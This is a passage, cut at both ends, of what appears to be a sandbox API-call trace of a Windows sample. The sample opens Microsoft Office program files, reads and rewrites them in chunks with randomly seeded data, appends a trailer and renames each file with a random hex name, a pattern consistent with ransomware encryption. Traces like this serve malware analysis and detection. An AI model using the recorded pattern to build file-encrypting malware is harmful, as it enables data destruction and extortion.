hFile=0xabc, lpFileSize=0x2714fc00 | out: lpFileSize=0x2714fc00*=544768) returned 1 [0090.298] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x84ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.298] ReadFile (in: hFile=0xabc, lpBuffer=0x2714fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2714fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2714fb80*, lpNumberOfBytesRead=0x2714fbc8*=0x4, lpOverlapped=0x0) returned 1 [0090.333] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0090.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598e0 [0090.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859880 [0090.333] NtQuerySystemTime (in: CurrentTime=0x2714fac0 | out: CurrentTime=0x2714fac0*=132462176961814000) returned 0x0 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x978d11 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x1375916 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0xf7e82c3 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0xf7a2b9f [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x1bde833f [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x2da936d4 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x2201dc40 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x5c7f0a36 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x4783cc26 [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x2dc6721b [0090.333] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x19046be3 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x6db09755 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x4f284bba [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x515c3bc1 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x2a809159 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x1217b484 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x3a4293b4 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x2f5c77c [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x511e6be4 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x20d6838d [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x36afc2e9 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x44bd4cd0 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x7f1147ea [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x7e278a8b [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x592ad624 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x4a1a24d5 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x2ce64c9 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x5d642dae [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x5a370a6d [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x1559babf [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0x5e44dd74 [0090.334] RtlRandomEx (in: Seed=0x2714fab0 | out: Seed=0x2714fab0) returned 0xab6e542 [0090.345] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.345] ReadFile (in: hFile=0xabc, lpBuffer=0x201178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2714fb20, lpOverlapped=0x0 | out: lpBuffer=0x201178d0*, lpNumberOfBytesRead=0x2714fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0090.373] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e910 [0090.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0090.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859700) returned 1 [0090.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20122d00 [0090.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0090.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0090.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8596d0) returned 1 [0090.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e910) returned 1 [0090.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.374] WriteFile (in: hFile=0xabc, lpBuffer=0x20122d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2714fb20, lpOverlapped=0x0 | out: lpBuffer=0x20122d00*, lpNumberOfBytesWritten=0x2714fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0098.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20122d00) returned 1 [0098.416] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.416] ReadFile (in: hFile=0xabc, lpBuffer=0x201178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2714fb20, lpOverlapped=0x0 | out: lpBuffer=0x201178d0*, lpNumberOfBytesRead=0x2714fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.398] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0100.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a140 [0100.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f500b0 [0100.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d10 [0100.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0100.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262fc0) returned 1 [0100.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a140) returned 1 [0100.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0100.865] WriteFile (in: hFile=0xabc, lpBuffer=0x41f500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2714fb20, lpOverlapped=0x0 | out: lpBuffer=0x41f500b0*, lpNumberOfBytesWritten=0x2714fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0147.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f500b0) returned 1 [0147.865] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x81400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.865] ReadFile (in: hFile=0xabc, lpBuffer=0x201178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2714fb20, lpOverlapped=0x0 | out: lpBuffer=0x201178d0*, lpNumberOfBytesRead=0x2714fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0147.986] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x81400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0147.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0147.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4237d170 [0147.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0147.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0147.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0147.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.988] WriteFile (in: hFile=0xabc, lpBuffer=0x4237d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2714fb20, lpOverlapped=0x0 | out: lpBuffer=0x4237d170*, lpNumberOfBytesWritten=0x2714fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0170.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4237d170) returned 1 [0170.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a3570 [0171.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0171.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d10) returned 1 [0171.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859700) returned 1 [0171.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201178d0) returned 1 [0171.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd978f0 [0171.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0171.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0171.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859700) returned 1 [0171.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97760 [0171.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0171.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a810 [0171.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a810) returned 1 [0171.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0171.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x160) returned 0x1cdb89f0 [0171.004] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.004] WriteFile (in: hFile=0xabc, lpBuffer=0x1cdb89f0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2714fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1cdb89f0*, lpNumberOfBytesWritten=0x2714fbd0*=0x160, lpOverlapped=0x0) returned 1 [0180.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0180.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0180.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0180.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa50) returned 1 [0180.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9edb0 [0180.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0180.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0180.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0180.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0180.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0180.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1ce15220 [0180.991] sprintf (in: _Dest=0x1ce15220, _Format="%c%c" | out: _Dest="3c") returned 2 [0180.991] sprintf (in: _Dest=0x1ce15222, _Format="%c%c" | out: _Dest="ca") returned 2 [0180.991] sprintf (in: _Dest=0x1ce15224, _Format="%c%c" | out: _Dest="c1") returned 2 [0180.991] sprintf (in: _Dest=0x1ce15226, _Format="%c%c" | out: _Dest="d7") returned 2 [0180.991] sprintf (in: _Dest=0x1ce15228, _Format="%c%c" | out: _Dest="50") returned 2 [0180.991] sprintf (in: _Dest=0x1ce1522a, _Format="%c%c" | out: _Dest="e5") returned 2 [0180.991] sprintf (in: _Dest=0x1ce1522c, _Format="%c%c" | out: _Dest="a5") returned 2 [0180.992] sprintf (in: _Dest=0x1ce1522e, _Format="%c%c" | out: _Dest="95") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15230, _Format="%c%c" | out: _Dest="84") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15232, _Format="%c%c" | out: _Dest="27") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15234, _Format="%c%c" | out: _Dest="b5") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15236, _Format="%c%c" | out: _Dest="f0") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15238, _Format="%c%c" | out: _Dest="7d") returned 2 [0180.992] sprintf (in: _Dest=0x1ce1523a, _Format="%c%c" | out: _Dest="78") returned 2 [0180.992] sprintf (in: _Dest=0x1ce1523c, _Format="%c%c" | out: _Dest="9f") returned 2 [0180.992] sprintf (in: _Dest=0x1ce1523e, _Format="%c%c" | out: _Dest="36") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15240, _Format="%c%c" | out: _Dest="12") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15242, _Format="%c%c" | out: _Dest="91") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15244, _Format="%c%c" | out: _Dest="8b") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15246, _Format="%c%c" | out: _Dest="e3") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15248, _Format="%c%c" | out: _Dest="63") returned 2 [0180.992] sprintf (in: _Dest=0x1ce1524a, _Format="%c%c" | out: _Dest="a0") returned 2 [0180.992] sprintf (in: _Dest=0x1ce1524c, _Format="%c%c" | out: _Dest="22") returned 2 [0180.992] sprintf (in: _Dest=0x1ce1524e, _Format="%c%c" | out: _Dest="58") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15250, _Format="%c%c" | out: _Dest="2f") returned 2 [0180.992] sprintf (in: _Dest=0x1ce15252, _Format="%c%c" | out: _Dest="68") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15254, _Format="%c%c" | out: _Dest="22") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15256, _Format="%c%c" | out: _Dest="4c") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15258, _Format="%c%c" | out: _Dest="aa") returned 2 [0180.993] sprintf (in: _Dest=0x1ce1525a, _Format="%c%c" | out: _Dest="80") returned 2 [0180.993] sprintf (in: _Dest=0x1ce1525c, _Format="%c%c" | out: _Dest="ac") returned 2 [0180.993] sprintf (in: _Dest=0x1ce1525e, _Format="%c%c" | out: _Dest="69") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15260, _Format="%c%c" | out: _Dest="02") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15262, _Format="%c%c" | out: _Dest="58") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15264, _Format="%c%c" | out: _Dest="3d") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15266, _Format="%c%c" | out: _Dest="dc") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15268, _Format="%c%c" | out: _Dest="36") returned 2 [0180.993] sprintf (in: _Dest=0x1ce1526a, _Format="%c%c" | out: _Dest="92") returned 2 [0180.993] sprintf (in: _Dest=0x1ce1526c, _Format="%c%c" | out: _Dest="f9") returned 2 [0180.993] sprintf (in: _Dest=0x1ce1526e, _Format="%c%c" | out: _Dest="e6") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15270, _Format="%c%c" | out: _Dest="fe") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15272, _Format="%c%c" | out: _Dest="6e") returned 2 [0180.993] sprintf (in: _Dest=0x1ce15274, _Format="%c%c" | out: _Dest="7b") returned 2 [0180.994] sprintf (in: _Dest=0x1ce15276, _Format="%c%c" | out: _Dest="4f") returned 2 [0180.994] sprintf (in: _Dest=0x1ce15278, _Format="%c%c" | out: _Dest="cb") returned 2 [0180.994] sprintf (in: _Dest=0x1ce1527a, _Format="%c%c" | out: _Dest="df") returned 2 [0180.994] RtlInitAnsiString (in: DestinationString=0x2714fc48, SourceString="3ccac1d750e5a5958427b5f07d789f3612918be363a022582f68224caa80ac6902583ddc3692f9e6fe6e7b4fcbdf" | out: DestinationString="3ccac1d750e5a5958427b5f07d789f3612918be363a022582f68224caa80ac6902583ddc3692f9e6fe6e7b4fcbdf") [0180.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x2714fc18, SourceString="3ccac1d750e5a5958427b5f07d789f3612918be363a022582f68224caa80ac6902583ddc3692f9e6fe6e7b4fcbdf", AllocateDestinationString=1 | out: DestinationString="3ccac1d750e5a5958427b5f07d789f3612918be363a022582f68224caa80ac6902583ddc3692f9e6fe6e7b4fcbdf") returned 0x0 [0180.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1190a0 [0180.995] RtlFreeAnsiString (AnsiString="3") [0180.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15220) returned 1 [0180.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0180.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa50) returned 1 [0180.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb89f0) returned 1 [0185.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0185.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859700) returned 1 [0185.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0185.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3570) returned 1 [0185.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8598e0) returned 1 [0185.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859850) returned 1 [0185.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859820) returned 1 [0185.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1ce63290 [0185.985] wcscat (in: _Dest=0x1ce63290, _Source="3ccac1d750e5a5958427b5f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3ccac1d750e5a5958427b5f") returned="C:\\Program Files\\Microsoft Office\\Office14\\3ccac1d750e5a5958427b5f" [0185.985] wcscat (in: _Dest=0x1ce63290, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3ccac1d750e5a5958427b5f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\3ccac1d750e5a5958427b5f.2f9b60" [0185.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\3ccac1d750e5a5958427b5f.2f9b60", NtPathName=0x2714fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\3ccac1d750e5a5958427b5f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0185.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x42c37350 Thread: id = 401 os_tid = 0xf74 [0090.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml")) returned 0x20 [0090.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML", dwFileAttributes=0x20) returned 1 [0090.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xac0 [0090.300] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x2737fce0 | out: lpFileSize=0x2737fce0*=79708) returned 1 [0090.300] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0x13758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.300] ReadFile (in: hFile=0xac0, lpBuffer=0x2737fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2737fca8, lpOverlapped=0x0 | out: lpBuffer=0x2737fc60*, lpNumberOfBytesRead=0x2737fca8*=0x4, lpOverlapped=0x0) returned 1 [0090.309] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0090.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ac0 [0090.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0090.309] NtQuerySystemTime (in: CurrentTime=0x2737fba0 | out: CurrentTime=0x2737fba0*=132462176961658000) returned 0x0 [0090.309] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x6968ee93 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x61ebc868 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x3f23e11e [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x68b160a8 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x41dfbacb [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0xca48311 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x2e7daf7d [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x7fd4c51a [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x3c42f45f [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x27c1ac91 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x1c1d82ef [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x10d736a5 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x1aac25b3 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x715258bd [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x537f8ca5 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x7a006e01 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x5f286d8e [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x1f5b129a [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x4195810d [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x7f953be9 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x470f0d46 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x5eccaf2 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x50de2827 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x24acb7cd [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x42cd4f [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0xd323c4a [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x1e9c67d4 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x1fe5592a [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x311948b6 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x1fe978d1 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x6bf90542 [0090.310] RtlRandomEx (in: Seed=0x2737fb90 | out: Seed=0x2737fb90) returned 0x1277c28e [0090.322] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.322] ReadFile (in: hFile=0xac0, lpBuffer=0x201100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2737fc00, lpOverlapped=0x0 | out: lpBuffer=0x201100b0*, lpNumberOfBytesRead=0x2737fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0090.359] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e890 [0090.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0090.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859970) returned 1 [0090.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2011f0f0 [0090.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0090.360] 